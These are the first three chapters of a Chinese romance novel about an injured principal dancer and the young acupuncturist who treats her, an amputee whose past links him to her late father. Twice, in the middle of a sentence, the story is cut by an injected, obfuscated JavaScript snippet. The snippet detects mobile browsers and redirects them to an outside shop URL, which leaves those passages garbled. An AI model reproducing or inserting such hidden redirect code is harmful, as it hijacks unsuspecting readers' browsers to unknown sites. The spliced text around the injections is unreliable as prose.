《靡它》 1. C1. 正月,春梢。 农历正月初二日,全国人民同庆的辰光。 中国人头一等大事的节庆日子,最暖的光景亦偏偏在最冷的天里。薄薄的晴日头里夹着不消停的风,寒丝丝刮到孟圆冷白冷白的面孔上,冷得她心里一抖,手勒着大号托特包的肩带更紧了。 马路两边黄叶零落的梧桐树杈上头,满满挂着新年的“钱袋子”,她就站在一树“钱袋子”底下,即便裹着黑色齐小腿长的羽绒服,也一眼看出来的笔挺纤薄的身型。 孟圆脚下轻轻活动着左脚踝关节,一面等刚叫上网约车。足足听母亲啰嗦了大半日,她才脱得身回自己家里去。 如今年轻人好像大都淡了年节的意义,她则是为父亲走后,母亲没有通知她就注销掉父亲的手机号和微信,方不再执着年节团圆的。然而,老一辈还是看中老底子的传统同讲究,袁敏听她推脱今年巡演任务重,排练时间紧要提前,已然我还不晓得你的眼神睨她,口里免不了妈妈的怨怼:像啥样子侬讲讲看,一年到头也见不到你几次,痩得是,排骨精! 再不是滋味女儿的疏远,胸闷她年初二就急吼吼要回自己住处,又尽管不过一个城市几站地铁的距离,袁敏心里头总归舍不得多。赶在人出门前装好两食盒母亲手作:熏鱼和八宝饭,硬交到女儿手里。她没有多要求,自己的孩子自己晓得,女儿当年支持她再婚是真的,到底在她这头不大自在也是真的。 袁敏压哨的叮嘱,“个么平时好好吃饭,元宵节你记得过来。” 孟圆应得敷衍,王叔叔讲要开车送她也婉拒了,手里的食盒囫囵个塞到托特包里,到出了小区门才默默吐出口气。她明白这两天住在这里,自己话少了些,也不够应景的热情,事实就是她愁死了,实在没有心力去照顾每个人的情绪。 去年八月,团里创排的大型舞剧《重会玉簪记》在S市首演。现在传统文化正热,根据昆曲版《玉簪记》改编的极具传统文化元素的舞剧瞬间引发热议和关注,也因为制作内容到舞美细节处处打磨精良,演员卡斯阵容豪华,收获了不错的上座率和口碑。孟圆正是这部舞剧的A组女主,也是八月首演后,团长正式宣布她晋升首席演员。 这条晋升之路,孟圆走了十年。 至此,按说过去的一年,应当是她收获丰盛的一年。S市歌剧舞剧院的首席,对于一个舞者,无疑是职业的高峰与高光。岂料,晋升还不到一年,巡演最后一场的最后一幕换场时,一个群舞演员掉落的服饰道具导致她崴了脚。预估演出也就剩20多分钟,当时孟圆只迅速活动了一下脚踝,经验判断没有伤到骨头,她咬牙强撑着顺利完成了演出和谢幕。而后,妆都没来得及卸就赶去了急诊。 回到S市养了十天后,脚踝青紫褪了,但活动受阻疼痛不减,且还有轻微水肿。没法子,又到舞团定点的医院门诊一通检查。世事总没有那么多的奇迹和幸运,孟圆无疑从侥幸到失望,还是距腓前韧带拉伤,左踝骨骨髓水肿。哦,这回再增加了踝关节腔少量积液,常规治疗,合理制动,康复周期至少1到3个月。 - 路边满树的钱袋子变成了灯带,绿化带全是北美冬青和蝴蝶兰。望着车窗外喜庆又蓬勃的街景和行人,孟圆觉得这个氛围和她仿佛有结界一般。她再清楚不过,自己这几天走路是不适意的,因为怕袁敏担心和念叨,她三天没有用药,走路也有意拖沓,只推说累,没同母亲交代受伤的事呢。 当然,眼前她更愁的是节后的复训,全团业务技术考核,后头紧跟着排练和第二轮巡演……私心讲,她今年就要29岁了,对于舞蹈演员来说,这不是太有优势的年纪。且不论舞团里牵牵扯扯的人际关系,首席主演又是多少人追逐和眼热的,她不肯也不能掉队。 回到家里,孟圆开了空调,人裹着条绒毯直接挨着电暖器就地坐在地毯上。手机里无数次输入熟记于心的父亲的电话号码,然后再一个个数字删掉,直到那头闺蜜的微信发过来,吐槽在乡下老家无聊得要命。 孟圆浅笑一下,回复她也纠正她,N市的郊区不叫乡下,成排的小洋楼不要太舒服。 卉卉哼她,你在城里的人当然讲得轻松,今朝七大姑们都到我阿婆家里了,烦得呀。 那些过来人的规劝,大概是适婚大龄女青年普遍逃不掉的烦恼吧。 卉卉全名李卉卉,祖籍N市,是孟圆从附中到大学的同学,两人又一同考进S市歌剧舞剧院,只是卉卉因为严重的膝盖伤病,4年前刚晋升到主要演员就遗憾退役了。现在她开了家舞蹈培训工作室,主营成人舞蹈培训,配合一对一艺考指导课,日子反而比在舞团滋润些。 卉卉问孟圆还在你妈妈那边吗,得到否定答复才给她拨了通语言来,“怎么样呀,伤。” 孟圆捏一捏脚踝,“还是那样呀,医生也是老一套。”语调里尽是沮丧,提不起来劲。 卉卉这边顿了几秒,像换了个更安静的地方,“那你怎么打算的,和团里请假,休息一段?” “不想,升首席才半年,至少考核日我不想掉链子,”孟圆和闺蜜没什么可藏的,“还有几天假,回团里再看情况吧。” 卉卉是吃过亏的,直接表达不赞同,“你要真的想职业生涯走得长远才不要想逞强,千万不要轻视伤病。” 孟圆一时没有说话,但卉卉闺蜜兼同行哪能不明白,眼前才是真正的上升期,谁甘心喊停。况且,舞团从来不缺有天赋肯努力的年轻人。 “要么试试中医好了,我课上的那些阿姨噢,好几个人都讲黄浦那边一个中医馆蛮好的,国医名老中医坐诊,治伤筋动骨是祖传的,中医世家。” 康复科熟客的人既定思维的想当然,且略微犹豫,“有啥差别呀,靠谱伐。” 推荐官却爽气又干脆,“你现在是没得选,死马当活马医,搏一记,万一有用呢,总不会更差对吧啦。” 孟圆试着绷一下脚背,痛得呼吸都一顿,那么,搏一记好了。 次日,孟圆才擓了小半碗才蒸出来的八宝饭,搛好两片熏鱼,再撕开一小瓶零糖酸奶,准备好自己的中式早午餐时,卉卉的微信也来了。在阿婆屋里没办法睡到自然醒的人盛赞,我们S市阿姨的热心程度不容小觑的,看我打听治筋骨的中医,阿姨们还分享了玲琅满目的好用药膏。 卉卉截图来,把医馆的名字,地址同电话一道发过来:[中医馆初四就上班的,能刷本市医保,你着急么打电话好问问看,约个时间] 孟圆回了个OK表情,心不在焉地嚼一口甜津津糯叽叽的八宝饭,一面手机搜索医馆信息。网站满正规的,还当真是中医世家,却不是想象中的家庭作坊,S市中医药大学定点合作门诊单位,医馆也不仅限于骨伤科门诊,内科、妇科几位在H大附属第一医院有门诊的名中医也在这里坐诊。 无所谓了,原本就是试试看的心态。孟圆终究拨通医馆电话,转接提示后,电话接通,那头一个沉静的男中音,职业化接线员一般的开场白。 孟圆愣了一下,方才直奔主题,“你好,我想预约初四的门诊。” “春节期间只开值班门诊,请问你之前来就诊过吗,有就诊过的医生没有。” “我之前没来过,是朋友推荐的。嗯……我半个月前脚踝扭伤了,看过骨科但现在还不太舒服,所以想看看中医会不会快一点……”孟圆忽然莫名地心虚。 另一边的人短暂的静默。大概医生都有些忌惮临阵换帅的患者,且还是心急立竿见影效果的患者。然而,医生多数时候也难选择病人。 “具体治疗和效果需要先看你目前的情况,帮你约初四下午两点到三点的时间可以吗。”周芑平静同她确认。 孟圆当即应下来,“可以的。” 周芑再问了患者基本情况,登记好孟小姐的电话,叮嘱她,“麻烦带好之前的门诊病例,预约时间过来就行。” 孟圆迟疑半秒,“好的,谢谢。” “不客气。” 午饭吃到一半的人再拾起碗筷,对面祖父同父亲一同望过来,还是父亲先开口,“有病人?” “嗯。”周芑扒了口饭,“脚踝扭伤,西医康复治疗半个月,自述仍然感觉不适,复查韧带拉伤,踝关节骨髓水肿,关节腔少量积液,” 最后他人机般的口吻补充,“希望中医疗效更好。” 周阳荷会意一笑,微微摇头。 祖父周柏仁也停了筷子,虽然再常见不过的运动损伤,还是过问一句,“早期西医处理的,过去半个月了,患者这个情况你怎么看。” 周芑抬眼看看老爷子,规规矩矩回应,“韧带伤轻度触诊检查筋错位,配合手法正筋理筋。按患者自述受伤半个月,骨髓水肿伴少量积液,考虑针灸辅助温疗。具体还要看患者实际情况。” 周柏仁点头,未置可否,“注意查查胫骨错位,胫骨微小错位西医大概率查不出来的。” 周芑应下来,再瞧瞧父亲周阳荷,想说骨伤科不是我的主攻方向,这两天腿还不好,要么,“爸你,或者我通知肖师兄——” “这类问题你处理没问题,你接诊吧。”周阳荷一抬手,知子莫若父,“不是你的专业方向也是爷爷手把手带的你,针灸总归你擅长的,年节就不要喊你师兄了。” 自从周芑独立出诊,逢节假日必然是他值班。彼时周阳荷的原话,三个男人齐齐凑在家里有撒好看的,你正当积累经验拼搏的年纪,也没个朋友好谈么蛮好搞搞临床。说到底,这里头多少有点老父亲隐形催婚的嫌疑,周芑不想撞他的枪口给他话头,也懒得同他辩,于是,小周医生这几年成了整个医馆出勤率最高的人。 眼前,周芑搁了碗筷,再投一眼两位长辈,三个人两票赞同。以及,阿姨也休假了,碗碟收到洗碗里的活还是归他。 - 孟圆特地选了套时尚运动风的内搭和一双勃肯鞋出门的。 照地址叫车过去,医馆在一个拐角处,几乎占了半条街的铺面。石库门式古朴低调的门脸,广白堂的石刻嵌在门头正中,门口不经意游出来淡淡药香。 孟圆推门进去,前厅明朗古朴的中式装修有一整面的中药柜。当真是年节,国人讲究好彩头,此时医馆内安静极了,柜台里头一位中年女士见她进来,即刻颔首接待。 或许就因为没人,显得她这个患者独一份的奇货可居,人家登记过后热络地领着她直接去了诊室,孟圆甚至没来得及看一眼门口墙面的医生简介,就被安排坐下了。 周芑看她一眼,同她确认,“你好,孟小姐?” 赶鸭子上架般的人点头,“是。预约的两点到三点。” 孟圆轻轻攥一下肩上的帆布袋,又忙着取出里头的病例本递出去,“新年好,这是的病例。” 周芑望着她,接过她手里的东西,被一段稍显无厘头的问候方式惹得有些想笑,在口罩后无声勾一下嘴角。 而无厘头的本尊,也觉得这句话有点怪异,索性不响。她再打量医生的眉眼,银丝边的半框眼镜也遮不住长且密的睫毛和高鼻梁,这半张白净净的建模脸,很有点不务正业的感觉。孟圆暗忖,是不是有点太年轻啦。 这厢,周芑看见孟圆的名字,眼神微顿一下,抬头瞧过去,面前人干练的低马尾,浓淡相宜的娴静秀丽。他再复动声色的关注回手里的病例,再开口,是问她有没有电子档的影像报告。 孟圆想了想,忙拿出手机去医院小程序里查找。 “脚踝不是第一次扭伤吧。”周芑将手机交还给她,一旁挪过来一张检查凳,铺上一次性医用隔垫,“左脚放上来,袜子脱掉,先做一下触诊。” “嗯。”孟圆一只手捞住裤腿,另一手捏着白色棉袜的袜筒,脚趾不自禁蜷了蜷。 原本还只顾着发愁的人,忐忑地想补充些关节活动受限的病情说明,到嘴边的话还没讲出口呢,就看见医生先生自然熟练地划动轮圈,从桌后移动出来,三两下调整好位置。 霎时,孟圆慢了不只半拍地反应过来,他坐的是架低调轻便的低背轮椅。目光往下移,她心头更是一凛,这位医生分明少了只脚的样子,右腿自膝盖处垂下来的裤腿轻飘飘悬吊着,一时她也难分辨那截小腿的位置。 道德行为准则或是社交礼仪刹那齐齐在脑袋里刷屏,孟圆几乎本能地咽一下,迅速挪开目光却又慌忙地不晓得眼神往哪里去好。 最后,一抬眼,好巧汇上周芑平静且深邃的一双眼睛。 “对,不起。”仿佛犯错被抓包现行的人,孟圆几乎脱口而出的道歉,偏偏出口之后的安静,好像更尴尬了,她面上转而晕出一片淡红。 周芑本来不觉得有多不妥,只是突然的一声“对不起”,反倒给他整不会了。 实话讲,这个形象出来实属无奈之举,给不知情的人带来冲击也实在意料之中。周芑很快恢复如常,依旧波澜不惊的语调同面色,“是交通意外,抱歉可能吓到你。” 其实,这不是他头一遭这样坐诊,偶尔有过穿不了假肢的日子,自然也遇到过或熟悉或陌生的患者。周芑自然而然的经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062661|195099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 验和反馈,“我的身体状况并不影响我的职业和专业,当然,如果你有疑虑可以和我沟通。” “不会,没有。”孟圆震惊与难为情后,几乎本能的否认,尽管她当真犹疑过,却不是因为他的身体。 “谢谢,”周芑冷静的口吻,在桌子揿一泵手消液,“给你检查一下,手可能会有点凉。” 孟圆轻轻应了一声。 她的脚指甲修得干净整齐,脚趾关节有几处老茧,精瘦的脚背和小腿,散布着零星结痂脱落后的色沉和泛黄的淤青,在白皙的皮肤上愈发显眼。 “这里痛吗。”周芑微微蹙一下眉头,她脚上的温度分明比他的手更凉。 孟圆不及防地抿唇闷闷哼了一声,“有点。” 周芑一手托助她的脚跟,手指在她脚背处隐隐揉按用力,“这个位置呢。” “嗯。”孟圆不自觉地就要绷脚。 “放松,不要用力。”周芑忽然发问,“是舞蹈演员。” 孟圆微愣一下,“嗯。” “顺着我的力量放松,不要跟我对抗。”周芑左腿踩在地上,换了个坐姿,用手法给患处顺筋,再触诊了几个位置后向上推过去。老爷子提点的不错,胫骨有微小错位。 他依次按了几个穴位,继续问孟圆一些关于舞种和剧目的问题来放松她的情绪,接着再提醒她,“胫骨微小错位,影像很难看出来,你忍一下,做个胫骨复位。” 大概和孟圆应声回应的同时,咔咔两声脆响。 “好了。” 周芑要她试着轻轻活动一下脚踝,自己扭身再揿了泵手消液搓手,“感觉怎么样。” 孟圆由惊诧中缓神,尝试活动脚踝同脚背,阻滞感和痛感明显减少。她难掩诧异地朝“神医”望过去,忍下想给卉卉发转圈圈表情的冲动,冲对面的人点头,“好像好了。” 周芑依旧四平八稳的样子,大概见怪不怪。 “筋骨复位好了,并没有达到痊愈的程度。”语毕,他推着轮圈转到一旁的治疗区再洗了遍手,“吃过午饭吗。” 孟圆不明所以的意外,“吃过了。” 周芑颔首,“还要针灸几个穴位,可能后续会有一个疗程的针灸治疗,来,搭个脉。” “啊?”孟圆即刻头脑冷下来,心里抗拒,她可以喝药,但是能不能不扎针。 周芑回到桌前,推过来一只小巧的藏青色号脉诊,“手放上来。” 孟圆明明觉得她可以走了,偏偏对上那双沉静的眼睛,她又强装镇定地伸手出去。 左手换右手,静默里空气似乎都是凝结的。 约莫5分钟后,周芑启口,“今天先做几个穴位,你想坐着还是躺着。” “嗯?”孟圆满脑子的暴雨梨花针,她面色一沉,口里答非所问,“我,现在感觉蛮好的,要么开点药好了。” 气定神闲的人和白大褂不要太搭,周医生很认真的告诉她,“等会会给你配一周代茶饮调理,针灸是治疗重点,活血利水才是目的。” 孟圆恍然,言下之意,前面是开胃菜,针灸才是重头戏呀。从前她陪卉卉在康复科做膝盖治疗的时候,是见过人家扎针的,此刻,她简直觉得天塌了。 就在某位成年人无声的崩溃里,周芑竟也一反常态起来,“比起正骨,我更擅长针灸,如果刚才复位的时候你觉得可以忍受,针灸应该问题不大的。怎么样,考虑好了?”或许自己也觉得这番话不严谨得荒唐,他语调隐约染上点笑意。 孟圆亮盈盈的眼睛望过去,你要不要听听自己在讲什么……然而顷刻间,她莫名就给说服了,视死如归般冲眼前的人点头。 孟圆选择坐着扎针,大概人类本能的避险机制之一,发觉情况不妙时坐着总归比躺着逃脱快。 周芑很快准备好,取了丘墟、阴陵泉、三阴交、申脉、悬钟、太溪几个穴位下针,“三阴交下针可能会痛一点,可以呼吸,不要紧张。”他瞥见有人攥得发白的拳头,适时的提醒与安抚。 下完针,周芑方抬头,“右手给我。” 下一秒,微微咬住下唇的人水汪汪泛红的眼睛对视过来,不解并着迷茫地瞧着他。白炽灯光下,她身后有窗外斜躺进来的阳光,周芑心上停了半秒,口罩后无声无息地叹一口气,原本要在右手取穴的人改了主意,找到她右手的阳溪穴轻按。 孟圆直觉这几针扎得比撕胯还痛,可那只干净又骨节分明的手传来的温度要她顾不得这些,她只管努力掩饰自己的眼泪,没话找话,“按手也有用吗。” “缓解,现在的话,更多是转移注意力。”周医生诚实得有些出其不意。 愣忪一下的人果真转瞬轻轻笑出来,“谢谢。” “不客气。” - 周芑在电脑上打出张处方单,“开了一周的四物代茶饮,辅助治疗,煮水怕麻烦就日常泡水喝行了,尽量少碰生冷食物。热敷贴一盒十贴,用法药房会贴给你。中西医康复都讲究一个合理制动,回去不要心急,适度活动不要过度。” “去前厅缴费取药就行了,可以刷本市医保。” 孟圆看周芑在处方单上签名,乖学生般点头,她实实在在感觉脚踝轻松多了。接过单子,她目光正落在机打正楷姓名旁那个有点写意的签名上,身边突然有人淡淡启口,“周qǐ。这个字不太常见。” 原来叫这个名字呀,虽然是不大确定这个字,但是,心情放松下来的人找回了她的倔强,“我们舞蹈生也要上文化课的。” 周芑闻言,慢笑起来,也是他今朝第一次明明白白的笑意。孟圆望着他带笑的眼睛,突然懊恼自己无厘头且幼稚的别苗头。 她故作淡定,“谢谢周医生。” 周芑笑着点一下头,在她起身前递出去自己的手机,“你加一下我的微信,代茶饮要喝,调理气血,一周之后来复诊再给你开第二次针灸。今天针灸之后6个小时内不要洗澡,注意针孔如果有红肿或者身体有不适意,可以及时微信联系我。” 孟圆应下来再次道谢。 诊室外头,她停下来,正式看清楚了墙面亚克力框内的周医生简介: 周芑,主治中医师。师承朱氏内科第十五代传承人与中医肿瘤专家,国医大师朱仲民。“周氏针灸”第七代传承人。擅长领域中医内科、针灸,专攻肿瘤等疑难病症的中西医结合疗法…… 孟圆转身,再想到那个熟练推轮圈的背影,讲不清是什么感觉,唯独感叹职业寸照里的人,当真是长了张不务正业的建模脸。 2. C2. 二月,花朝。 第一次针灸之后,孟圆感觉脚踝真真是轻松不少,当天回去第一时间跟闺蜜分享她的治疗效果同心得体会。 李卉卉那头似乎比亲历者本人更激动,[是不是真的!这么神奇!我以前针灸怎么就只感觉痛了!] 孟圆兴头上,很自然地推荐,问她要不要也试试,她的膝盖。 卉卉:[我还试什么呀,老早手术都做完了,也不可能再跳了,你好起来才重要!看来还得是阿姨的情报灵,世袭传承的老中医果真名不虚传噢!] 孟圆:[嗯……虽然但是,不是老中医,人家还蛮年轻的] 卉卉发了个呆滞表情来,[你没挂上专家号?再找老中医看看?要不要我再找我们阿姨问问?] 孟圆几乎想也没想地拒绝,[不用了] 孟圆:[我才找人家看的就换医生,不好吧,人家多尴尬呀,而且他看的也蛮好的] 卉卉一看,隔着电子屏似乎嗅出些不同寻常的味道,[男医生啊!] 不等孟圆回复,老闺蜜才不讲什么武德不跟你客气,何况她一向最是摒不住的性子,一个语音拨过去,“什么情况啊,年轻的,男医生,长什么样子啊!” 孟圆给她问得光明人也不坦荡了,“应该还好吧,医生戴口罩的呀,我哪能晓得啊。” 她莫名就有所保留,想到轮椅上的人和那条腿,她最终还是什么也没说。孟圆看来,议论别人的缺陷本身就是道德的缺陷,舞团里受伤也是常有,大家也调侃过,“谁还没瘸过两天啊”。诚然,此刻的缄默更因为她记得周芑那句话,坐轮椅和他的职业与专业不相关,她很认同,也很钦佩。 卉卉神经大条地叹息,“也对,唉。” 孟圆一本正经地玩笑,“信女愿事业长虹。” 卉卉没心没肺地笑,“准了!” 不过,闺蜜闲话,“你也空窗期几年了,就没啥想法啊。” 嗯……没等闲话继续,李卉卉那头家里人喊她来着,应了声便被碾着似的匆匆挂断了通话。 孟圆静下来,或许人闲下来心便闲不住,卉卉撩完人转脸跑了,留她扪心自问。她看看微信,最近的异性聊天记录,大概就是同周医生了,一段医嘱后,是谢谢和不客气,再正常不过的医患对话罢了。 - 新春头上,医馆大概是一年里最门庭冷落的辰光。孟圆走后,后头再没有预约病人,周芑按时下班。 春节期间他通常都歇在老爷子这边,一来是值班更方便,二来,如今一家就他们祖孙三个,父亲早几年已经搬来和老爷子同住,工作生活都有个照应,年节他自然也就歇在这头了。 当晚,一切收拾停当,周芑刷完一篇文献,鬼使神差地就点开了孟圆的朋友圈。他依稀记得听父亲提过,孟警官有个独生女儿,孟yuán,当年是舞蹈学院大三的学生。 七年前,周芑还是H大第一附属医院心胸外科的低年资住院医生。是的,纵使从小跟着祖父父亲认中药,背穴位背经方,他却继承了母亲的西医方向。 那天周芑的非值班日,交班之后他原本不打算回家的,往实验室的路上,却接到母亲谷芹芳的电话,她来本院参加了一个研讨会,现在结束了,想起来慰问好多天没碰上面的儿子。于是,周芑改变计划,转而去同母亲碰头。 世事无常,正是这个临时的变动,才有了后头的变故。 回头的高架上,难得那个时间路况不错,周芑开着母亲的车,和她讨论着自己的科研课题。猛然,由远而近的警笛声,后车已经放慢速度,周芑见状也跟着压下速度,偏偏就在他还措不及防的时候,如同警匪片里混乱的场景照进现实,一辆逆行车辆失控且高速超他们冲过来。 再往后,一切都失控了,周芑醒来时已经在医院里。 等着他的消息是:某重大案件犯罪嫌疑人在被追踪时察觉异常,才有了后来亡命徒鱼死网破的极端行为,虽然执法人员第一时间示警并调集各方警力支援,仍旧遗憾酿成惨剧,事故最终造成3死5伤,犯罪嫌疑人当场死亡。另外两名死者,一名是因伤势过重抢救无效死亡的谷芹芳,另一位,是孟维民警官。作为第一时间调集到现场的交警,当时为了保护人民群众生命安全,孟警官奋力截停失控肇事车辆,因公牺牲。 而周芑,他活下来了,右腿小腿截肢。也因为右下肢毁灭性挤压伤和多次皮瓣手术皮肤不耐受的瘢痕,康复周期漫长反复,他告别了胸外职业生涯。 沉寂的夜里,也许要无人记得无人知晓的往事,在他心里掠过。周芑退出那张舞剧宣传剧照,去搜索孟圆的名字。 这一晚,他看过了孟圆青涩少女时代的桃李杯比赛视频,也搜到了她舞剧的片段和谢幕,当真同她舞蹈大赛跳过的洛神一样,翩若惊鸿,婉若游龙。他知道了她的个人社交媒体账号,有8万多粉丝,会分享她的日常,以及,她去年刚升了首席。 最后,周芑在一条考古视频的评论区里佐证了心中那个巧合的猜测——孟圆,应当就是孟警官的女儿。 - 广白堂的金字招牌,还是周柏仁和周阳荷,至于小周,大概只有相熟的人清楚,嫡亲的小子哪能没传承自家的家学。 节后复工的工作日,医馆里浓浓的药香,也是热闹起来。 周芑今朝的门诊不忙,多是老患者来复诊的。临下班的钟点上,周芑查看他的医生后台,确定是有孟圆的复诊预约的,4点到5点的号段,只是眼下5点过了,还没见到人。就在他犹豫要不要微信提醒询问一句时,两个不速之客先闯进来。 肖俊文和张策两个,一个双手插兜,一个扶着脖子,前后脚跑到他这里串门子。 “怎么样,今天的号叫完了?”肖师兄先张口。 张师侄也加入,“等等一起走?” 今朝还是周六,周柏仁坐诊上半日,走的时候要儿子在那个群里头通知一下,新年开年,一年之计,喊几个毛小子来家吃顿饭,周芑今天也别回他那头了。 这会子,周柏仁的大弟子和周阳荷的大弟子齐齐来找这位嫡系的入室小师弟同小师叔。 周芑鼠标一点,收起来预约系统后台,转头觑两人,“我还有病人。” 肖师兄挑眉,“你这里这么忙?”不该吧,从来他们骨科和康复科最是忙到脚打后脑勺的加班大户啊。 周芑摘了口罩,反问回去,“你们今天很闲?” 一瞬两个人齐齐啧一声,怪小周不讲究,这种话不能乱讲的好不好,临下班给喊回头的时候也不是没有。 两个人没兴致了,说那就不等他了,“总归你小周轻车熟路的不会找不到家。” 这头的唧唧歪歪才送走,周芑的信息还没发得出去,门口有人风风火火地来了。 孟圆一面道歉,一面朝诊室里走,“不好意思周医生,下午有点事情耽误了,你是不是要下班了呀。” 周芑抬眸,反扣了手机,也观察孟圆的步态。他神情语调都没甚波澜,“没关系,还没到下班时间,坐吧。” 孟圆身上携着些凉气,望着眼前这张脸,只觉得更歉仄了。 周芑朝她抿唇勾一下嘴角,看了看她的面色,医生的例行询问,“这几天感觉怎么样。” 孟圆踩着棕绿配色的鬼冢家,不自禁动一下脚踝,“好多了,就是还不太能受力,勾绷脚会有一点点痛。” 周芑听罢蹙了眉,“恢复训练了吗。” “没有没有,就是简单的活动,也跟团里的康复师做了两次康复。”孟圆有点不好意思,怎么说,背叛了周医生的感觉。 周芑没说什么,还是先号了脉,“晚饭……”大概觉得答案是已知的,他改了口,“来之前吃过东西吗。” 孟圆再是一愣,“同事给的小面包,算吗……” 周芑点头,“那今天还是给你开一次针灸,今天会多取几个穴位,你先去那边躺着,垫单换过了,”他再补充,“袜子脱掉。” 有了第一次的经验,孟圆这回倒是淡定得多。 周芑准备好一应工具走过来,顺手拉上隔挡帘,也才看见她脚踝打的绷带,“绷带先给你拆掉了。”话音未落,一边把她的裤腿推到膝盖上。 周芑还是先检查了孟圆的脚踝关节,正同她叮嘱康复禁忌呢,一时没听得回应,他扭头望过去,望有人偏移了的眼神。 口罩遮挡下,周医生只露着一双洞若观火的眼睛,“大部分时候,我不需要坐轮椅,也可以正常站立,行走。” 孟圆听他似乎无所谓的淡然口吻,更显得她的唐突和冒犯,一瞬哑口也尴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062662|195099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尬,面上烧起来,“我……” 胸口突突的人要极力挽救些什么,“你这样蛮好看的,额,对不起,我是说比例,很好……” 要么说言多必失,沉默是金,越是急吼吼地找补好像越捅出来更大的篓子。当真面孔不要了,孟圆的脸真的烫死了,她只觉得这时候大概周芑就算拿针扎死她,她也不会怪他的。 恨不能躲进东非大裂谷的人干脆挺尸般自暴自弃。 到底好定力的周医生,始终从容的好风度,甚至含笑的口吻道谢。 “谢谢。放轻松,要下针了。” - 待周芑给孟圆做完治疗,开好这次的处方单,手机又震了两发。 他照旧的医嘱,调理气血的代茶饮也依旧,另外,“绷带打得不错,固定关节提升稳定性很重要,有康复师我就不多说了,注意动静结合,恢复初期活动不要过度。” 孟圆此刻打起十二分精神,客气道谢之后,麻溜缴费拿药去。实在她现在还胸闷,看个病也能这么社死,毁灭吧。 现下,低着头在门口收拾那一兜子代茶饮的人全没发觉周芑也朝这边来了,直到听见前厅咨询台护士小姐姐的招呼,“小周医生,下班啦”。 孟圆骤然一回头,黑色派克大衣黑西裤的allblack周医生正好汇上她的眼睛。 周芑手里还拿着手机,温和的口吻问她,“要帮忙吗。” “不用不用。”孟圆索性不管了,重新挎好托特包,任印着医院LOGO的纸袋拎在手上。 周芑点头,先一步推开门,也抵住门边,回头望着孟圆,等她。 孟圆抬眸,即刻了然地跟在绅士的周医生身后,“谢谢。” “你怎么走。” “啊?”孟圆脚下一顿,清泠泠的声音回应,“我叫车。今天不好意思,耽误你下班了,还有……” 她还是想同他讲声对不起,因为无心的冒犯也是冒犯,而下一秒,周芑比她先启口,“你去哪。 孟圆心里着实空拍一下,再跳动的心跳,比刚才更有力,她再自然而然地报出一处90年代的里弄小区名。 “高安路?”周芑同她确认。 “你知道呀?”孟圆本能地意外。 “嗯,”土著周医生也流露出本地口音,“我住得不远,车子停在后头,顺路带你一道。” 孟圆一时没急着回应这个提议或者邀请,而是抬眸瞧身边的人。 这一瞧,轮到周芑自觉唐突,然而周医生从来光明磊落,“抱歉,你不方便的话当我没说。针灸完尽量不要受凉,你——” “谢谢,”孟圆突然不想顾忌那么多,“嗯,麻烦周医生了……” 周芑一愣,逆光里若有似无的一笑,“走吧。” 他走得不快,顺手回肖师兄的消息。那头刚才就问他下班没,要开饭了啊。周芑指尖飞快,只要他们不用等他,还要一阵。 一路上,车里温暖且安静,密闭的空间再浮着淡淡草药香。 孟圆等了好半晌,还是摒不牢没话找话地开口,“周医生,今天耽误你时间了,你,要么我请你吃饭吧,你方便的话。” 周芑握着方向盘,偏头看她一眼,“不用客气,也不存在耽误我的时间。” 好吧,又把天聊死了。孟圆轻笑一声,索性不说话了。 再次陷入寂静的空间里,片刻,后知后觉的周芑清咳一声,轻轻开口,“其实针灸治疗在白天会更好,气血运行规律的原因。你方便的话可以预约白天的时间,如果不方便这个时间也行,不过针灸前1小时最好吃点东西。” 孟圆扭头,望着敬业的周医生,突然想笑。大概,周芑就是热心肠吧,医者仁心,随手做好事。 随后依旧话不多的两个人,终于挨到目的地。孟圆请周医生就在路边靠一下,送进去就太麻烦了。 拉门前,孟圆转身,认真同周芑道谢。 周芑依旧是那位礼貌的绅士,“不客气。”以及,“医患关系,你请我吃饭暂时不太合适。” 孟圆扶在车门的手一顿,这回,她学乖了,没有接茬这个话头,只恰到好处的笑容,“谢谢,周医生。” 到那个盈盈一握的纤瘦高挑的身影进了里弄大门,周芑才拔档起步,他还要返回头去。 3. C3. 三月,莺时。 周芑给孟圆的针灸治疗,一个周期共五次。原本治疗周期可以快一些的,由于孟圆的体质原因,治疗周期才去到了三月。 不过,后头的治疗孟圆爽约了。 那晚的社死后,孟圆回去实在窝火,当然,全是懊恼自己。真是昏头了,大概最近不大顺遂,才有失水准。 孟圆开了杯零添加酸奶,iPad里续播着她三刷的《神探夏洛克》第二季,她在地毯上趴横叉,一面掐着点等洗澡的时间,也复盘自己方才的行径。好端端提什么吃饭呀,都没管人家是不是单身,就少根筋蹭他的顺风车。可是,他车子里蛮清爽的,倒瞧不出什么女性痕迹,倘若有女朋友的人还邀请其他女性搭车也太渣了……不对,周医生明明表达的很清楚了,“医患关系”。 到底,不大笃定的人前前后后盘了一遍下来,只提取到“医患关系”四个关键字。 干了手边的一小杯酸奶,她提醒自己,拎拎清爽,任何时候事业才是女性真正的资本也是底气。 孟圆心里盘算着,再过一周之后就是全团考核,全员参加,周二基本功考核日,周四剧目考核日。她也修养懈怠了好些天,现在既然感觉脚踝没什么大问题,下周也该回功了。 